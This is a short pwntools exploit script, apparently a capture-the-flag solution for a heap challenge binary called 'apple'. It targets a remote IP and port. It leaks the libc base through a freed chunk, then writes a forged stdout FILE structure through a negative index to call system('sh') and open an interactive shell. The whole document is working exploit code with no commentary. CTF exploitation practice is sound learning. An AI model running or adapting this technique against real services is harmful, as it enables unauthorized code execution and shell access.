1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * context.terminal = ['tmux','splitw','-h'] context.arch = 'amd64' GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' EXE = './apple'
def payload(lo: int): global sh if lo: sh = process(EXE) if lo & 2: gdb.attach(sh, 'b *$rebase(0x15e7)') else: sh = remote('139.155.126.78', 39262) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') main_arena = 0x21ac80 def add(idx: int, size: int): sh.sendafter(b'choice', p32(1)) sh.sendafter(b'index', p32(idx)) sh.sendafter(b'long', p32(size))
def delete(idx: int): sh.sendafter(b'choice', p32(2)) sh.sendafter(b'index', p32(idx))
def show(idx: int) -> bytes: sh.sendafter(b'choice', p32(3)) sh.sendafter(b'index', p32(idx)) sh.recvuntil(b'>>>\n') return sh.recvuntil(b"1. ", True)
def edit(idx: int, cont: bytes): sh.sendafter(b'choice', p32(4)) sh.sendafter(b'index', p32(idx, sign=True)) sh.sendafter(b'>>>\n', cont)
add(0, 0x410) add(1, 0x20) delete(0) libcBase = u64(show(0)[:6] + b'\0\0') - main_arena - 0x60 libc.address = libcBase success(GOLD_TEXT(f"Leak libcBase: {libcBase:#x}")) add(12, 0x20)
fakeFile = flat({ 0x0: b' sh;', 0x28: 1, 0x68: libc.symbols['system'], 0xa0: libc.symbols['_IO_2_1_stdout_'], 0xd8: libc.symbols['_IO_wfile_jumps'], 0xe0: libc.symbols['_IO_2_1_stdout_'], }, filler=b'\0') edit(-8, fakeFile)
sh.clean() sh.interactive() sh.close()
|